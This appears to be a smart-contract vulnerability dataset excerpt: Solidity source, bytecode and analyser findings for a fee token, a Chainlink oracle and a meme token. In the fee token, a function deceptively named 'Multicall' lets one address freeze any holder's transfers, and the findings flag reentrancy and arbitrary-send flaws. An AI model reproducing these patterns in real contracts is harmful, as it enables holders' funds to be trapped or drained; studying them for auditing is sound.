emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106102085760003560e01c806349bd5a5e1161011857806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105f5578063db92dbb61461060a578063dcb0e0ad1461061f578063dd62ed3e1461063f578063e8078d941461068557600080fd5b806395d89b411461057b578063a9059cbb146105aa578063b2131f7d146105ca578063c3c8cd80146105e057600080fd5b806370a08231116100e757806370a08231146104e8578063715018a6146105085780637a49cddb1461051d5780638da5cb5b1461053d57806394b8d8f21461055b57600080fd5b806349bd5a5e1461047d578063509016171461049d578063590f897e146104bd5780636fc3eaec146104d357600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b65780633bbac579146103ee5780633bed43551461042757806340b9a54b1461044757806345596e2e1461045d57600080fd5b806327f3a72a14610344578063313ce5671461035957806331c2d8471461038057806332d873d8146103a057600080fd5b80630b78f9c0116101d75780630b78f9c0146102d257806318160ddd146102f25780631940d0201461030e57806323b872dd1461032457600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f614610280578063095ea7b3146102a257600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b506102736040518060400160405280600a815260200169135bdbdb93dc911d5cdd60b21b81525081565b6040516102349190611c1f565b34801561028c57600080fd5b506102a061029b366004611c99565b61069a565b005b3480156102ae57600080fd5b506102c26102bd366004611cb6565b61070f565b6040519015158152602001610234565b3480156102de57600080fd5b506102a06102ed366004611ce2565b610725565b3480156102fe57600080fd5b50683635c9adc5dea0000061022a565b34801561031a57600080fd5b5061022a600f5481565b34801561033057600080fd5b506102c261033f366004611d04565b6107a8565b34801561035057600080fd5b5061022a610890565b34801561036557600080fd5b5061036e600981565b60405160ff9091168152602001610234565b34801561038c57600080fd5b506102a061039b366004611d5b565b6108a0565b3480156103ac57600080fd5b5061022a60105481565b3480156103c257600080fd5b506009546103d6906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103fa57600080fd5b506102c2610409366004611c99565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043357600080fd5b506008546103d6906001600160a01b031681565b34801561045357600080fd5b5061022a600b5481565b34801561046957600080fd5b506102a0610478366004611e20565b61092c565b34801561048957600080fd5b50600a546103d6906001600160a01b031681565b3480156104a957600080fd5b506102a06104b8366004611c99565b6109f0565b3480156104c957600080fd5b5061022a600c5481565b3480156104df57600080fd5b506102a0610a5e565b3480156104f457600080fd5b5061022a610503366004611c99565b610a8b565b34801561051457600080fd5b506102a0610aa6565b34801561052957600080fd5b506102a0610538366004611d5b565b610b1a565b34801561054957600080fd5b506000546001600160a01b03166103d6565b34801561056757600080fd5b506011546102c29062010000900460ff1681565b34801561058757600080fd5b50610273604051806040016040528060038152602001621353d160ea1b81525081565b3480156105b657600080fd5b506102c26105c5366004611cb6565b610c29565b3480156105d657600080fd5b5061022a600d5481565b3480156105ec57600080fd5b506102a0610c36565b34801561060157600080fd5b506102a0610c6c565b34801561061657600080fd5b5061022a610d10565b34801561062b57600080fd5b506102a061063a366004611e47565b610d28565b34801561064b57600080fd5b5061022a61065a366004611e64565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069157600080fd5b506102a0610da5565b6008546001600160a01b0316336001600160a01b0316146106ba57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061071c3384846110ec565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074557600080fd5b600a82111561075357600080fd5b600a81111561076157600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107d657506001600160a01b03831660009081526004602052604090205460ff16155b80156107ef5750600a546001600160a01b038581169116145b1561083e576001600160a01b038316321461083e5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b610849848484611210565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610878908490611eb3565b90506108858533836110ec565b506001949350505050565b600061089b30610a8b565b905090565b6008546001600160a01b0316336001600160a01b0316146108c057600080fd5b60005b8151811015610928576000600660008484815181106108e4576108e4611eca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092081611ee0565b9150506108c3565b5050565b6000546001600160a01b031633146109565760405162461bcd60e51b815260040161083590611ef9565b6008546001600160a01b0316336001600160a01b03161461097657600080fd5b600081116109bb5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610835565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610704565b6009546001600160a01b0316336001600160a01b031614610a1057600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610704565b6008546001600160a01b0316336001600160a01b031614610a7e57600080fd5b47610a888161187e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161083590611ef9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610b3a57600080fd5b60005b815181101561092857600a5482516001600160a01b0390911690839083908110610b6957610b69611eca565b60200260200101516001600160a01b031614158015610bba575060075482516001600160a01b0390911690839083908110610ba657610ba6611eca565b60200260200101516001600160a01b031614155b15610c1757600160066000848481518110610bd757610bd7611eca565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c2181611ee0565b915050610b3d565b600061071c338484611210565b6008546001600160a01b0316336001600160a01b031614610c5657600080fd5b6000610c6130610a8b565b9050610a8881611903565b6000546001600160a01b03163314610c965760405162461bcd60e51b815260040161083590611ef9565b60115460ff1615610ce35760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610835565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a5460009061089b906001600160a01b0316610a8b565b6000546001600160a01b03163314610d525760405162461bcd60e51b815260040161083590611ef9565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610704565b6000546001600160a01b03163314610dcf5760405162461bcd60e51b815260040161083590611ef9565b60115460ff1615610e1c5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610835565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e593082683635c9adc5dea000006110ec565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb9190611f2e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2c9190611f2e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9d9190611f2e565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fcd81610a8b565b600080610fe26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561104a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061106f9190611f4b565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109289190611f79565b6001600160a01b03831661114e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610835565b6001600160a01b0382166111af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610835565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610835565b6001600160a01b0382166112d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610835565b600081116113385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610835565b6001600160a01b03831660009081526006602052604090205460ff16156113ad5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b6064820152608401610835565b600080546001600160a01b038581169116148015906113da57506000546001600160a01b03848116911614155b1561181f57600a546001600160a01b03858116911614801561140a57506007546001600160a01b03848116911614155b801561142f57506001600160a01b03831660009081526004602052604090205460ff16155b156116bb5760115460ff166114865760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610835565b60105442036114c55760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610835565b42601054610e106114d69190611f96565b111561155057600f546114e884610a8b565b6114f29084611f96565b11156115505760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610835565b6001600160a01b03831660009081526005602052604090206001015460ff166115b8576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115c89190611f96565b111561169c57600e548211156116205760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610835565b61162b42600f611f96565b6001600160a01b0384166000908152600560205260409020541061169c5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610835565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116d5575060115460ff165b80156116ef5750600a546001600160a01b03858116911614155b1561181f576116ff42600f611f96565b6001600160a01b038516600090815260056020526040902054106117715760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610835565b600061177c30610a8b565b905080156118085760115462010000900460ff16156117ff57600d54600a54606491906117b1906001600160a01b0316610a8b565b6117bb9190611fae565b6117c59190611fcd565b8111156117ff57600d54600a54606491906117e8906001600160a01b0316610a8b565b6117f29190611fae565b6117fc9190611fcd565b90505b61180881611903565b478015611818576118184761187e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061186157506001600160a01b03841660009081526004602052604090205460ff165b1561186a575060005b6118778585858486611a77565b5050505050565b6008546001600160a01b03166108fc611898600284611fcd565b6040518115909202916000818181858888f193505050501580156118c0573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118db600284611fcd565b6040518115909202916000818181858888f19350505050158015610928573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194757611947611eca565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c49190611f2e565b816001815181106119d7576119d7611eca565b6001600160a01b0392831660209182029290920101526007546119fd91309116846110ec565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a36908590600090869030904290600401611fef565b600060405180830381600087803b158015611a5057600080fd5b505af1158015611a64573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a838383611a99565b9050611a9186868684611ae0565b505050505050565b6000808315611ad9578215611ab15750600b54611ad9565b50600c54601054611ac490610384611f96565b421015611ad957611ad6600582611f96565b90505b9392505050565b600080611aed8484611bbd565b6001600160a01b0388166000908152600260205260409020549193509150611b16908590611eb3565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b46908390611f96565b6001600160a01b038616600090815260026020526040902055611b6881611bf1565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bad91815260200190565b60405180910390a3505050505050565b600080806064611bcd8587611fae565b611bd79190611fcd565b90506000611be58287611eb3565b96919550909350505050565b30600090815260026020526040902054611c0c908290611f96565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c4c57858101830151858201604001528201611c30565b81811115611c5e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a8857600080fd5b8035611c9481611c74565b919050565b600060208284031215611cab57600080fd5b8135611ad981611c74565b60008060408385031215611cc957600080fd5b8235611cd481611c74565b946020939093013593505050565b60008060408385031215611cf557600080fd5b50508035926020909101359150565b600080600060608486031215611d1957600080fd5b8335611d2481611c74565b92506020840135611d3481611c74565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d6e57600080fd5b823567ffffffffffffffff80821115611d8657600080fd5b818501915085601f830112611d9a57600080fd5b813581811115611dac57611dac611d45565b8060051b604051601f19603f83011681018181108582111715611dd157611dd1611d45565b604052918252848201925083810185019188831115611def57600080fd5b938501935b82851015611e1457611e0585611c89565b84529385019392850192611df4565b98975050505050505050565b600060208284031215611e3257600080fd5b5035919050565b8015158114610a8857600080fd5b600060208284031215611e5957600080fd5b8135611ad981611e39565b60008060408385031215611e7757600080fd5b8235611e8281611c74565b91506020830135611e9281611c74565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ec557611ec5611e9d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ef257611ef2611e9d565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f4057600080fd5b8151611ad981611c74565b600080600060608486031215611f6057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f8b57600080fd5b8151611ad981611e39565b60008219821115611fa957611fa9611e9d565b500190565b6000816000190483118215151615611fc857611fc8611e9d565b500290565b600082611fea57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561203f5784516001600160a01b03168352938301939183019160010161201a565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122053c97d56dedf7bc79a903dee307628cfe3deb86636c4eb28d01d04f65d67a2e864736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,217 |
0xD766147Bc5A0044a6b4f4323561B162870FcBb48
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.2.1
// License-Identifier: MIT
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File contracts/interfaces/IOracle.sol
// License-Identifier: MIT
interface IOracle {
/// @notice Get the latest exchange rate.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek().
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
// File contracts/oracles/ChainlinkOracle.sol
// License-Identifier: MIT
// Chainlink Aggregator
interface IAggregator {
function latestRoundData()
external
view
returns (
uint80,
int256 answer,
uint256,
uint256,
uint80
);
}
contract ChainlinkOracleV1 is IOracle {
using BoringMath for uint256; // Keep everything in uint256
// Calculates the lastest exchange rate
// Uses both divide and multiply only for tokens not supported directly by Chainlink, for example MKR/USD
function _get(
address multiply,
address divide,
uint256 decimals
) public view returns (uint256) {
uint256 price = uint256(1e18);
if (multiply != address(0)) {
// We only care about the second value - the price
(, int256 priceC, , , ) = IAggregator(multiply).latestRoundData();
price = price.mul(uint256(priceC));
} else {
price = price.mul(1e18);
}
if (divide != address(0)) {
// We only care about the second value - the price
(, int256 priceC, , , ) = IAggregator(divide).latestRoundData();
price = price / uint256(priceC);
}
return price / decimals;
}
function getDataParameter(
address multiply,
address divide,
uint256 decimals
) public pure returns (bytes memory) {
return abi.encode(multiply, divide, decimals);
}
// Get the latest exchange rate
/// @inheritdoc IOracle
function get(bytes calldata data) public override returns (bool, uint256) {
(address multiply, address divide, uint256 decimals) = abi.decode(data, (address, address, uint256));
return (true, _get(multiply, divide, decimals));
}
// Check the last exchange rate without any state changes
/// @inheritdoc IOracle
function peek(bytes calldata data) public view override returns (bool, uint256) {
(address multiply, address divide, uint256 decimals) = abi.decode(data, (address, address, uint256));
return (true, _get(multiply, divide, decimals));
}
// Check the current spot exchange rate without any state changes
/// @inheritdoc IOracle
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
(, rate) = peek(data);
}
/// @inheritdoc IOracle
function name(bytes calldata) public view override returns (string memory) {
return "Chainlink";
}
/// @inheritdoc IOracle
function symbol(bytes calldata) public view override returns (string memory) {
return "LINK";
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063d568866c1161005b578063d568866c1461022c578063d6d7d5251461029c578063eeb8a8d31461029c578063fdc28b08146103275761007d565b8063c699c4d614610082578063d0720d6314610167578063d39bbef0146101bc575b600080fd5b6100f26004803603602081101561009857600080fd5b8101906020810181356401000000008111156100b357600080fd5b8201836020820111156100c557600080fd5b803590602001918460018302840111640100000000831117156100e757600080fd5b50909250905061036a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012c578181015183820152602001610114565b50505050905090810190601f1680156101595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101aa6004803603606081101561017d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356103a5565b60408051918252519081900360200190f35b6101aa600480360360208110156101d257600080fd5b8101906020810181356401000000008111156101ed57600080fd5b8201836020820111156101ff57600080fd5b8035906020019184600183028401116401000000008311171561022157600080fd5b509092509050610522565b6100f26004803603602081101561024257600080fd5b81019060208101813564010000000081111561025d57600080fd5b82018360208201111561026f57600080fd5b8035906020019184600183028401116401000000008311171561029157600080fd5b509092509050610536565b61030c600480360360208110156102b257600080fd5b8101906020810181356401000000008111156102cd57600080fd5b8201836020820111156102df57600080fd5b8035906020019184600183028401116401000000008311171561030157600080fd5b50909250905061056f565b60408051921515835260208301919091528051918290030190f35b6100f26004803603606081101561033d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356105cc565b60408051808201909152600481527f4c494e4b0000000000000000000000000000000000000000000000000000000060208201525b92915050565b6000670de0b6b3a764000073ffffffffffffffffffffffffffffffffffffffff8516156104575760008573ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561041457600080fd5b505afa158015610428573d6000803e3d6000fd5b505050506040513d60a081101561043e57600080fd5b5060200151905061044f8282610613565b91505061046c565b61046981670de0b6b3a7640000610613565b90505b73ffffffffffffffffffffffffffffffffffffffff84161561050f5760008473ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b1580156104d057600080fd5b505afa1580156104e4573d6000803e3d6000fd5b505050506040513d60a08110156104fa57600080fd5b5060200151905080828161050a57fe5b049150505b82818161051857fe5b0495945050505050565b600061052e838361056f565b949350505050565b505060408051808201909152600981527f436861696e6c696e6b0000000000000000000000000000000000000000000000602082015290565b60008060008060008686606081101561058757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169450602082013516925060400135905060016105be8484846103a5565b945094505050509250929050565b6040805173ffffffffffffffffffffffffffffffffffffffff9485166020820152929093168284015260608083019190915282518083039091018152608090910190915290565b600081158061062e5750508082028282828161062b57fe5b04145b61039f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604482015290519081900360640190fdfea26469706673582212208c1b71c7f4b3140291dc705d270a90e310376505a310fc61ba8ef0013b4c1d5864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,218 |
0xe4f073777e0b1a8796b17b430ca9e2c35b2b6209
|
/*
DUMP INU (dINU) , the dump you didn't know you needed.
8888888b. 888 888 888b d888 8888888b. 8888888 888b 888 888 888
888 "Y88b 888 888 8888b d8888 888 Y88b 888 8888b 888 888 888
888 888 888 888 88888b.d88888 888 888 888 88888b 888 888 888
888 888 888 888 888Y88888P888 888 d88P 888 888Y88b 888 888 888
888 888 888 888 888 Y888P 888 8888888P" 888 888 Y88b888 888 888
888 888 888 888 888 Y8P 888 888 888 888 Y88888 888 888
888 .d88P Y88b. .d88P 888 " 888 888 888 888 Y8888 Y88b. .d88P
8888888P" "Y88888P" 888 888 888 8888888 888 Y888 "Y88888P"
DUMP INU is a community meme token powered by DeFi.
Follow us on socials for the latest announcements!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
